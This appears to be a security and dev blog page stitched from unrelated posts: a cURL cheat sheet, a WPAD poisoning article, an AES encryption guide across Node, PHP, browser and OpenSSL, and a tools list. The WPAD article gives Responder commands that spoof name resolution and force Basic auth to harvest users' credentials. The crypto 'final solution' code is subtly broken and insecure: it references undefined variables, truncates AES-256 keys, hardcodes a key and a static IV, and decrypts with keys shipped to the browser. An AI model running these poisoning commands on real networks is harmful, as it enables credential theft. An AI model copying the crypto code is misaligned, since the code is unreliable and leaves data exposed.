HOSTNAME=ad3e8c7df92d
SHLVL=0
```


A write up for the Photo Gallery [moderae] challenge

a write up for this web challenge

Hacker101 CTF Photo Gallery [moderate] writeup


## cURL What is it?

cURL describes itself as:

> command line tool and library for transferring data with URLs

cURL is a multipurpose networking tool which has lots of useful usecases.

## cheat sheet

<table>
<thead>
<tr>
<th><strong>Command</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>curl http://lwlx.xyz</code></td>
<td>GET request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl http://lwlx.xyz -v</code></td>
<td>Verbose GET request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl http://admin:password@lwlx.xyz/ -vvv</code></td>
<td><code>cURL</code> Basic Auth login</td>
</tr>
<tr>
<td><code>curl -u admin:password http://lwlx.xyz/ -vvv</code></td>
<td>Alternate <code>cURL</code> Basic Auth login</td>
</tr>
<tr>
<td><code>curl -u admin:password -L http://lwlx.xyz/</code></td>
<td><code>cURL</code> Basic Auth login, follow redirection</td>
</tr>
<tr>
<td><code>curl -u admin:password 'http://lwlx.xyz/search.php?port_code=us'</code></td>
<td><code>cURL</code> GET request with parameter</td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L http://lwlx.xyz/login.php</code></td>
<td>POST request with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L http://lwlx.xyz/login.php -v</code></td>
<td>Debugging with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L --cookie-jar /dev/null http://lwlx.xyz/login.php -v</code></td>
<td>Cookie usage with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -d 'username=user&amp;password=pass' -L --cookie-jar cookies.txt http://lwlx.xyz/login.php</code></td>
<td><code>cURL</code> with cookie file</td>
</tr>
<tr>
<td><code>curl -H 'Content-Type: application/json' -d '{ "username" : "user", "password" : "pass" }'</code></td>
<td><code>cURL</code> specify content type</td>
</tr>
<tr>
<td><code>curl -X OPTIONS http://lwlx.xyz/ -vv</code></td>
<td><code>cURL</code> OPTIONS request</td>
</tr>
<tr>
<td><code>curl -X PUT -d @test.txt http://lwlx.xyz/test.txt -vv</code></td>
<td>File upload with <code>cURL</code></td>
</tr>
<tr>
<td><code>curl -X DELETE http://lwlx.xyz/test.txt -vv</code></td>
<td>DELETE method with <code>cURL</code></td>
</tr>
</tbody>
</table>


the cURL cheat sheet

## What is WPAD? `[WIP]`

Sometime in the early days of the Internet - the web 1.0 era - a couple of devs at Netscape decided that JavaScript was an acceptable language to write configuration files in. The result was Proxy Auto-Config (PAC) - a configuration file format that works as follows: The browser connects to a pre-configured server, downloads the PAC file, and executes a particular Javascript function to determine proper proxy configuration. Why not? It is more expressive and less tedious than XML and seems reasonable to provide configurations to many clients.

PAC itself works with a protocol called Web Proxy Auto-Discovery (WPAD) WPAD removes the need for the browser or the user to have a pre-configured server to connect to. Instead, WPAD allows the computer to query the local network to discover the server to load the PAC file from.

## WPAD always follows this schema:

1. Determine if the system should use WPAD, either by looking at browser settings or asking the host OS if the browser is set to match the OS setting.
2. Ensure a network connection is available.
3. If WPAD is to be used, issue a DHCPINFORM query to ask for the URL of the PAC script.
4. If the DHCPINFORM query fails and does not return a URL, perform a DNS lookup for the hostname `wpad`.
5. If the DNS lookup succeeds, then the PAC URL is `http://wpad/wpad.dat`.
6. Establish an HTTP(S) connection to the discovered URL's server, thus downloading the PAC script.
7. If the PAC script has downloaded successfully, parse it, and optionally compile it.
8. For each network request, call the `FindProxyForURL()` function in the PAC script and use the proxy settings returned from this function.

> WPAD is practically asking the network "Hey there! would you like to send me a **payload** i can **execute**?"

You can clearly see how a bad actor can abuse this.

Windows is certainly not the only piece of software that implements WPAD. Other operating systems (OS X, Linux) and applications do as well. For example, Google Chrome also has a WPAD implementation, but in Chrome's case, the JavaScript code from the PAC is evaluated inside of a sandbox. Other operating systems that support WPAD don't enable it by default anymore. That is why Windows is currently the most attractive target for this sort of attack.

## Exploit basis

When a device has these protocols enabled, if the local network DNS cannot resolve the name, the machine will ask the whole network to get a host. So, any host of the network, who knows its IP, can reply. Even if a host replies with incorrect information, it will still be regarded as a legitimate response.

# Exploitable scenario

1. victim and host are in the same network
2. The victim opens the browser, which is configured with the option `automatically detect settings` in `Local Area Network (LAN) Settings`.
3. The name resolution, which is performed with the steps we mentioned earlier, will be questioned on the victim's computer first.
4. In step 3, because the DNS Server does not have a corresponding record, the system's name is sent as LLMNR or NetBIOS-NS query.
5. The attacker listens to network traffic, catches name resolution query. It tells to the victim that he has the wpad.dat the victim is look for.

According to the flow above, if an attacker wants to make sure that the attack will be successful, he must perform the following attacks:

- DHCP poisoning attack
- DNS poisoning attack
- WPAD poisoning attack



## start analyzing first

using the `-A` option enables analyze only mode
**macOS:**

```shell
./Responder.py -i <your ip address> -A
```

**Linux:**

```shell
./Responder.py -I <your net interface> -A
```

## create payload adn custom FindProxyForURL()

## run the attack:

- `-w`: starts WPAD service
- `-f`: fingerprints victims
- `-v`: verbose output
- `-F`: force auth to WPAD service

```shell
 ./Responder.py -i 192.168.1.215 -w -f -v -F
```

force basic auth to try and gain user & pass

- `-b`: force Basic HTTP authentication

```shell
 ./Responder.py -i 192.168.1.215 -w -f -v -b -F
```

![Succsessfull WPAD attack](/wpad-responder-exploit/responder-intercepted.png "Succsessfull WPAD attack, planting a reverse shell on the victim.")

# Mitigation

- Create a DNS entry called "WPAD" that points to the real proxy server.
- Disabling automatic proxy discovery in browsers and operating systems.
- Configure firewalls and proxies to block and log outbound requests for wpad.dat files.

> ## `[WIP]` This article is a work in progress and will be updated with a proof of concept soon.

When a decision made 25+ years ago makes your computer vulnerable to the stupidest attack you've heard of.

Getting a reverse shell on windows client

MitM using WPAD Proxy Protocol:


I recently was tasked to find a solution for encrypting data in different places and to being able to decrypt them all in a browser during runtime.

Surprisingly, it was much more challenging than expected since there was so little documentation around this online. What was available were a few code-only examples, so I was forced to do R & D and try all implementations and compare the in- & outputs.

Given the lack of a decent out-of-the-box solution, I worry that many developers are settling for easy to use, insecure solutions that limit your project’s security and flexibility. Security should be easy to use and accessible.

> Clone the repo here to get started with this setup: <a href="https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a">https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a</a>

Okay, so lets assume we use following input data to test each implementation:

- **`key`** = '5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9' ` //must be 256 bits`
- **`iv`** = '1d6ef201e0e7a9019ddf8414034325e2' ` //must be 128 bits`
- **`inputData`** = `{"TestData":"w17h Spé^cIäl chàær§¢tèrs", "OK":"://seems/fine?x=lol"}`

Let's quickly run through and test each implementation:

## Using Node JS Crypto module

Node Provides a nice `crypto` implementation. It's documentation is rather sparse, but this is what most resources suggest by using:

- `crypto.randomBytes()`
- `crypto.createCipheriv()`
- `crypto.createDecipheriv()`

```javascript
const crypto = require('crypto')

/**********************************************************************
*
*        DECRYPTION MODULE FOR USE INSIDE NODE.JS                     *
*
***********************************************************************/

const encryption = (data = 'TestString {} Héllöüä') => {

   const secretPhrase = crypto.randomBytes(16).toString('hex')
   const salt = crypto.randomBytes(128 / 8).toString('hex')
   //here we generate the key and give it back as a string, we use 100k iterations
   //as suggested in best practices
   //We can use the key multiple times to encrypt multiple things(-30GB), we just cant use
   //the same initialization vector twice
   //the key for aes-256 needs to be 256 bits which equals 32 bytes or 32 characters
   const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, 'sha256').toString('hex').substr(0, 32)
   //create unique IV for each encryption, the key can be reused. IV needs to always be 16 bytes
   const IV = crypto.randomBytes(16)

   //create ciphers for each encryption using the shared key and the unuique IV
   const projectConfigCipher = crypto.createCipheriv('aes-256-cbc', configKey, IV.toString('hex').substr(0,16)

   //encripting the storage location using the prepared cipher
   const encrypted = Buffer.concat([configStorageCipher.update(
       'STORAGE', 'utf8'
   ), configStorageCipher.final()]).toString('hex')

   return encrypted

}
```

> this is **NOT** the final implementation; check below to see it.

### Testing the implementation

We notice that we need to trim the key to 32bytes and the IV to 16 bytes. This is likely because of the conversion from hex to string after the creation of the key.

- **`key`** = '5035ae3567f2e69320b083d59a7364cf' ` //is now 32 bytes string`
- **`iv`** = '1d6ef201e0e7a901' ` //is now 16 bytes string`

This will probably lead to an issue later on since other implementations actually want the longer strings. Maybe we can find a workaround by base64 encoding instead of stringifying the key and iv.

a quick test reveals, yes, we actually can:

```
const IV = crypto.randomBytes(16)

console.log(IV)
// <Buffer c1 1e 98 84 54 eb 85 f6 b3 d0 51 87 d2 62 80 a7>

console.log(IV.toString('base64'))
// wR6YhFTrhfaz0FGH0mKApw==

console.log(Buffer.from(IV.toString('base64'), 'base64'))
//<Buffer c1 1e 98 84 54 eb 85 f6 b3 d0 51 87 d2 62 80 a7>
```

now we could also just create a buffer again from the string to make it 16/32 bytes (ready for usage):

```
Buffer.from('5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9', 'hex')
//<Buffer 50 35 ae 35 67 f2 e6 93 20 b0 83 d5 9a 73 64 cf 8d 4b 14 e7 7d 7b 79 80 51 24 1c e5 46 b3 27 d9>

Buffer.from('1d6ef201e0e7a9019ddf8414034325e2','hex'))
//<Buffer 1d 6e f2 01 e0 e7 a9 01 9d df 84 14 03 43 25 e2>
```

This seems to be a nice solution when you **receive** the key and iv as an input; if we generate it ourselves, however, it better to just avoid the conversion to string after generation that many people use in examples:

```
// type Buffer, 16 bytes
const IV = crypto.randomBytes(16)

// type Buffer, 32 bytes
const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, 'sha256')

```

This key and IV pair can be consumed directly by our ciphers, but we would need to convert it to a hex string first to save and forward them.

### So what is the output of this function?

The output we received is of type buffer, but when we convert it to a string using `toString('hex')` we can read the data:

- **`OUTPUT`** = '<Buffer f2 fb 62 b1 7e e9 da 0c 8c bd 56 f2 45 a9 87 60 b4 e2 a6 d0 c5 de f1 50 bc 6d 86 00 f8 5d b4 79>' ` //is 32 bytes`
- **`OUTPUT_Stringified`** = 'f2fb62b17ee9da0c8cbd56f245a98760b4e2a6d0c5def150bc6d8600f85db479' ` //is now 64 bytes string`
- **`OUTPUT_Base64`** = '8vtisX7p2gyMvVbyRamHYLTiptDF3vFQvG2GAPhdtHk=' ` //is now 44 bytes string`

so using the codes below, we can switch between these three outputs as we like

```javascript
//output Buffer
encrypted = Buffer.concat([encrypted, Cipher.final()]);

//output String
encrypted = Buffer.concat([encrypted, Cipher.final()]).toString("hex");

//output Base64
encrypted = Buffer.concat([encrypted, Cipher.final()]).toString("base64");

//revert conversion to base64
Buffer.from(encrypted.toString("base64"), "base64");
```

From what we have learned here, I guess the best option is to use the base64 output method since we can easily convert it to a buffer

## Using browserify-aes's node crypto-like implementation inside the Browser

Inside the browser, we cannot use Nodes.js built-in modules. Using `browserify-aes` we can use a node-like crypto implementation, which uses the same syntax as the node implementation. In my use case, I only need to decipher in the browser, this means I don’t have to worry about a truly random key generation or ciphering.

```js
import crypto from "browserify-aes";

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME          *
 *
 ***********************************************************************/
const decrypt = (Base64Hash) => {
  //we use the base64 hash generated by openssl cli as an input
  const Base64Hash =
    "Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg=";
  const Key =
    "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9";
  const IV = "1d6ef201e0e7a9019ddf8414034325e2";
  const hexToBin = (hex) => {
    //converts hex strings to binary arr
    for (var bytes = [], c = 0; c < hex.length; c += 2) {
      bytes.push(parseInt(hex.substr(c, 2), 16));
    }
    return bytes;
  };
  //ein neuer cipher wird vorbereitet, mittels aes256, unserem 256 bit KEY und dem config IV
  const decipher = crypto.createDecipheriv(
    "aes256",
    hexToBin(Key),
    hexToBin(IV)
  );

  //der hash wird nun decrypted mittels dem zuvor erstellten cipher
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(Base64Hash, "base64")),
    decipher.final(),
  ]).toString("utf8");

  return JSON.parse(decrypted);
};
```

- **`OUTPUT`** = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} ` //yes, thats our original input! :D`

## ENCRYPTION & DECRYPTION MODULE FOR PHP7+ USING OPENSSL

In PHP 7 we make use of the `openssl_encrypt` implementation to encrypt an utf8 string and finally encode it with `base64_encode`.
For decryption we also make use of the official openssl implementation `openssl_decrypt`, before decrypting we need to decode using `base64_decode`.

```php
/**********************************************************************
*
*        ENCRYPTION & DECRYPTION MODULE FOR PHP7+ USING OPENSSL       *
*
***********************************************************************/

class AESEncryption {

   //key length should be 256 bits for aes 256 this means we use a string with 32 bytes
   public static $key = "5f08e0ec585393a8e2ca8f0a1a0ae752";

    //iv length should be always be 128 bit / 16 bytes
   public static $iv = "05d387e7f773035a";

    // The AES uses a block size of sixteen octets (128 bits)
   public static $Method = 'AES-256-CBC';

   /**
     * use the AES to encrypt plaintext data and return a base 64 string
    *
    * $key
    */
   public static function encrypt($cleartext,$key = ''){

       $key = empty($key) ? self::$key : $key;

       $encrypted = openssl_encrypt($cleartext, self::$Method, $key, OPENSSL_RAW_DATA, self::$iv);

       return base64_encode($encrypted);

   }

   /**
     * use the AES to decrypt a base 64 string into plaintext
    *
    * $key
    */
   public static function decrypt($encrypted,$key = ''){

       $key = empty($key) ? self::$key : $key;

       $encrypted = base64_decode($encrypted);

       $decrypted = openssl_decrypt($encrypted, self::$Method, $key, OPENSSL_RAW_DATA, self::$iv);

       return trim($decrypted);
   }
}
```

> while desperately searching for a solution I looked into doing the encryption in PHP instead of openssl, since I scrapped this idea I cannot explain any further. I still keep this PHP 7 example here because its hard to find examples online that don’t use mcrypt.

## Using OpenSSL for use in CLI

Inside of a Command Line Interface, we use `openssl` do en- or decrypt data.

For node/browserify to be able to decrypt it we need to add the `-nosalt` option, which disables salting the data.

```bash
#########################################################################################
#                                                                                       #
#               ENCRYPTION FOR CLI IN / MACOS / LINUX / WINDOWS                         #
#                                                                                       #
#########################################################################################

#encrypt with key & IV but no salt
cat config.json | openssl aes-256-cbc -iv $(cat iv)  -K $(cat key) -A -nosalt -base64

#decrypt with key IV and base64
echo "encryptedString" | openssl aes-256-cbc -d -iv $(cat iv)  -K $(cat key) -base64 -A
```

### testing the implementation

I created a json file called `test.json` containing the inputData. so when we run the following command ...

```bash
cat test.json | openssl aes-256-cbc -iv "1d6ef201e0e7a9019ddf8414034325e2"  -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -nosalt
```

We get no warnings and an output like this:

- **`OUTPUT`** = g??.G?٪a?W????ԝFv?? 0P0+v?'???R=CR??a? ?5!??N?"?e?q?M{C\??:u-?wH?? ` //weird looking binary data`

as you can see this is not very usefull so we apply the base64 encoding after encryption

```bash
cat test.json | openssl aes-256-cbc -iv "1d6ef201e0e7a9019ddf8414034325e2"  -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -nosalt -base64
```

- **`OUTPUT_base64`** = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg= ` //now this looks nice`

now we can also decrypt the just created data like so

```bash
echo $encryptedData | openssl aes-256-cbc -d -iv "1d6ef201e0e7a9019ddf8414034325e2" -K "5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9" -A -base64
```

This yields us this output

- **`OUTPUT`** = {"TestData":"w17h Spé^cIäl chàær§¢tèrs", "OK":"://seems/fine?x=lol"} ` //yes, thats our original input! :)`

# final solution

## Using NodeJS during initial build

While building our app this code is responsible for:

- creating a unique `key` on every build
- creating a unique `iv` for every object to be encrypted
- outputting an encrypted base64 encoded string of data

the output needs to be consumed by either:

- the application during runtime (browserify implementation)
- openssl in case of deployment

```javascript
const crypto = require("crypto");

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE INSIDE NODE.JS                     *
 *
 ***********************************************************************/

const encryption = (
  data = { TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol" }
) => {
  const secretPhrase = crypto.randomBytes(16).toString("hex");
  const salt = crypto.randomBytes(128 / 8).toString("hex");
  //here we generate the key and give it back as a string, we use 100k iterations
  //as suggested in best practices
  //We can use the key multiple times to encrypt multiple things(-30GB), we just cant use
  //the same initialization vector twice
  //the key for aes-256 needs to be 256 bits which equals 32 bytes or 32 characters it is currently of type Buffer
  const configKey = crypto.pbkdf2Sync(secretPhrase, salt, 100000, 32, "sha256");
  //create unique IV for each encryption, the key can be reused. IV needs to always be 16 bytes. it is currently of type buffer
  const IV = crypto.randomBytes(16);

  //create ciphers for each encryption using the shared key and the unuique IV
  const projectConfigCipher = crypto.createCipheriv(
    "aes-256-cbc",
    configKey,
    IV
  );
  //when using hex strings as IV/keys you can convert it into a buffer to make it work:
  //Buffer.from('1d6ef201e0e7a9019ddf8414034325e2','hex')

  //encrypting the storage location using the prepared cipher
  // our input is an object, so we first stringify it and set the input encoding to utf8, for our output we need base64 encoding
  let encrypted = projectConfigCipher.update(
    JSON.stringify(data),
    "utf8",
    "base64"
  );
  // finalize the encryption also with base64 output encoding
  encrypted += projectConfigCipher.final("base64");

  /***************************************************************
   * To be able to decrypt later, we need to save the IV and key somewhere.
   * it is recommended to store the iv together with the encrypted
   * data, but you should store the key separately. we save those values
   *  as hex-encoded strings - so the can later be converted into binary again
   ****************************************************************/
  const saveKey = key.toString("hex");
  const saveIV = IV.toString("hex");
  // the above strings can be directly interpreted by openssl
  // the above key can be converted to a buffer in node: Buffer.from(saveKey, 'hex')
  // the above key can be converted to binary using hexToBin() in the browser

  return encrypted;
};
```

- **`OUTPUT_DATA`** = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUSgCV12rE4RpgPdjXMJJB2vNJZ+00LvE9nkn77fW0pf8c/tzW5MxQpzqV3A+HvniM= ` //look what a nice base64 string`
- **`OUTPUT_KEY`** = '5035ae3567f2e69320b083d59a7364cf8d4b14e77d7b798051241ce546b327d9'
- **`OUTPUT_IV`** = '1d6ef201e0e7a9019ddf8414034325e2'

Our output data looks good, so lets test what openssl can do with it!

## Using Node.crypto's output as input in openssl

from node, we get the data shown above as files named _key_ and _iv_
In my use case we only need the `key` and `IV` to encrypt a new config. I still did include a decryption example as well here.

Things to keep in mind:

- output encoding must be base64
- `-nosalt` option needs to be enabled
- `-A` option needs to be enabled

```bash
#########################################################################################
#                                                                                       #
#               ENCRYPTION FOR CLI IN / MACOS / LINUX / WINDOWS                         #
#                                                                                       #
#########################################################################################

#encrypt with key & IV but no salt
#config.json contains the testdata defined above
cat config.json | openssl aes-256-cbc -iv $(cat iv)  -K $(cat key) -A -nosalt -base64

#decrypt with key IV and base64
# we use the output base64 string from node here
echo "Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUSgCV12rE4RpgPdjXMJJB2vNJZ+00LvE9nkn77fW0pf8c/tzW5MxQpzqV3A+HvniM=" | openssl aes-256-cbc -d -iv $(cat iv)  -K $(cat key) -base64 -A
```

### Encryption output:

- **`OUTPUT_encrypt`** = Z8QIo6YuR7DZqmHHV4WqqorUnUZ2n88gMFADMCt2FKUn/ZeYUj1DEBNS2NthignUNR0hw+OOFU7qACKPZbxx8k0Pe0McXNDrOnUtl3dIwdg= `//looking good..`

### Decryption output:

- **`OUTPUT_decrypt`** = {"TestData":"w17h Spé^cIäl chàær§¢tèrs","OK":"://seems/fine?x=lol"} ` //nice, thats our original data!`

Since our Output looks good and even the decryption worked fine, lets test what our browserify implementation can do with this.

## Using browserify to decrypt node or openssl input

This code expects the following input:

- base64 encoded string to decrypt
- iv in the form of a hex-encoded string
- key in the form of a hex-encoded string

I get the keys from process.env in this example. You could also receive them via input or even a file.

This code needs to be able to produce consistent output when receiving input from either node or openssl.

We had to create a custom function `hexToBin()` to convert a hex string into a binary array to be consumed by our cipher.

```js
import crypto from "browserify-aes";

/**********************************************************************
 *
 *        DECRYPTION MODULE FOR USE IN BROWSER DURING RUNTIME          *
 *
 ***********************************************************************/
const decrypt = (Base64Hash) => {
  const Key = process.env.APP_KEY; //hex encoded string
  const IV = process.env.APP_IV; //hex encoded string

  const hexToBin = (hex) => {
    //converts hex strings to binary arr
    for (var bytes = [], c = 0; c < hex.length; c += 2) {
      bytes.push(parseInt(hex.substr(c, 2), 16));
    }
    return bytes;
  };

  //ein neuer cipher wird vorbereitet, mittels aes256, unserem 256 bit KEY und dem config IV
  const decipher = crypto.createDecipheriv(
    "aes256",
    hexToBin(Key),
    hexToBin(IV)
  );

  //der hash wird nun decrypted mittels dem zuvor erstellten cipher
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(Base64Hash, "base64")),
    decipher.final(),
  ]).toString("utf8");

  return JSON.parse(decrypted);
};
```

- **`OUTPUT_openssl`** = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} ` //yes, thats our original input! :D`
- **`OUTPUT_nodejs`** = {TestData: "w17h Spé^cIäl chàær§¢tèrs", OK: "://seems/fine?x=lol"} ` //and we even handled the node version! sick!`

That's it! We did it yay!

> Feel free to comment and discuss on my gist: <a href="https://gist.github.com/Lawlez/88e04e3541cc0608c953a118b86bfc1a">This project on gist</a>


Cryptography is hard, and because it's already hard enough, here is a nice guide on the AES Cipher in different environments.

Getting consistent Encryption in Node / PHP / Browser and openSSL


## AppSec Tools

- [x] [lynis](https://github.com/CISOfy/lynis) | `active` |: Security auditing tool for Linux, macOS, and UNIX-based systems
- [ ] [killcord](https://github.com/nomasters/killcord) | **`new`** |: a censorship resistant deadman's switch
- [x] [OWASP ZAP](https://github.com/zaproxy/zaproxy) | `active` |: autodetect security vulnerabilities in your web applications while developing and testing your applications
- [ ] [ClamAV](https://github.com/Cisco-Talos/clamav-faq) | **`new`** |: open source antivirus engine for detecting trojans, viruses, malware & other malicious threats.
- [ ] [endlessh](https://github.com/skeeto/endlessh) | **`new`** |: Endlessh is an SSH tarpit (honeypot) that very slowly sends an endless, random SSH banner

---

## Automation Tools

- [ ]

---

## developer Tools

- [x] [(js-) IPFS](https://github.com/ipfs/js-ipfs) | `active` |: A peer-to-peer hypermedia protocol
      designed to make the web faster, safer, and more open.
- [ ] [ML5.js](https://github.com/ml5js/ml5-library) | _tested_ |: Friendly & easy to use machine learning for the web!
- [ ] [TensorFlow](https://github.com/tensorflow) | **`new`** |: Open Source Machine Learning Framework (With extensive docs and big community)
- [ ] [deno](https://github.com/denoland/deno) | _testing_ |: Deno aims to provide a productive and secure scripting environment for the modern programmer. It is built on top of V8, Rust, and TypeScript.
- [x] [PNPM](https://github.com/pnpm/pnpm) | _testing_ |: Faster, disk space efficient package manager, with good monorepo support.
- [ ] [verdaccio](https://verdaccio.org/) | **`new`** |: A lightweight open source private npm proxy registry
- [ ] [caprover](https://github.com/caprover/caprover) | **`new`** |: Easiest app/database deployment platform and webserver package for your NodeJS, Python, PHP, Ruby, Go applications. No Docker, nginx knowledge required!

---

## misc Tools

- [x] [Chrome Galvanizer](https://thehackerblog.com/galvanizer/) | _tested_ |: Harden your Chrome browser via enterprise policy.
- [ ] [Cursed Chrome](https://github.com/mandatoryprogrammer/CursedChrome) | **`new`** |: Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.
- [x] [NMAP](https://github.com/nmap/nmap) | `active` |: The #1 network scanner & mapper
- [x] [nmap-vulners](https://github.com/vulnersCom/nmap-vulners) | `active` |: extension to NMAP that chekcs for more known vulns
- [ ] [lesspass](https://github.com/lesspass/lesspass) | **`new`** |: stateless open source password manager
- [ ] [GrantProxy](https://grantproxy.com/) | **`new`** |: Turn your web browser into a magic proxy server in one click.
- [ ] [ohmyzsh](https://github.com/ohmyzsh/ohmyzsh) | **`new`** |: A delightful community-driven framework for managing your zsh configuration. Includes 200+ plugins

---

# sickGuides

a collection of useful guides or tutorials to stay safe.

## Security Guides

- [x] [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/) | `active` |: These cheat sheets were created by various application security professionals who have expertise in specific topics.
- [ ] [PortSwigger XSS CheatSheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) | `active` |: An extensive list of known XSS vulns, sortable and searchable

---

## Dev Guides

- [ ] [HTMLHEAD.dev](https://htmlhead.dev/) : A free guide to HTML5 <head> elements
- [ ] [CSS FlexBox Cheatsheet](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) | `active` |: the only CSS flexbox cheatsheet you'll need
- [x] [DevDocs.io](https://devdocs.io/) | `active` |: Huge, fast, searchable reporsitory for dev documentation, from java to docker, from rust to WordPress.
- [ ] [Set Up a Private NPM Registry Locally](https://blog.bitsrc.io/how-to-set-up-a-private-npm-registry-locally-1065e6790796) | _tested_ |: using verdaccio to setup local NPM registry.
- [ ] [Grepper](https://www.codegrepper.com/index.php) | **`new`** |: Accrue code answers to common coding problems, find code answers without thinking - using Greppers “code problem” search engine.

---

### Sources

- [`OWASP`](https://owasp.org/) — The Open Source Web Application Security Protocol
- [`Matthew Bryant`](https://github.com/mandatoryprogrammer/) — XSSHunter / chrome galvanizer
- [`lwlx`](https://skills.rendered.ch) — lwlx

## License

[The MIT License](LICENSE).

- `- [ ] ([tool name](<link>)|*tested*|**`new`**|deprecated| `active`): <description> `


a collection of useful, special, or just cool tools to use and try to get more done in less time.

newest posts

Open Source Security & Dev Blog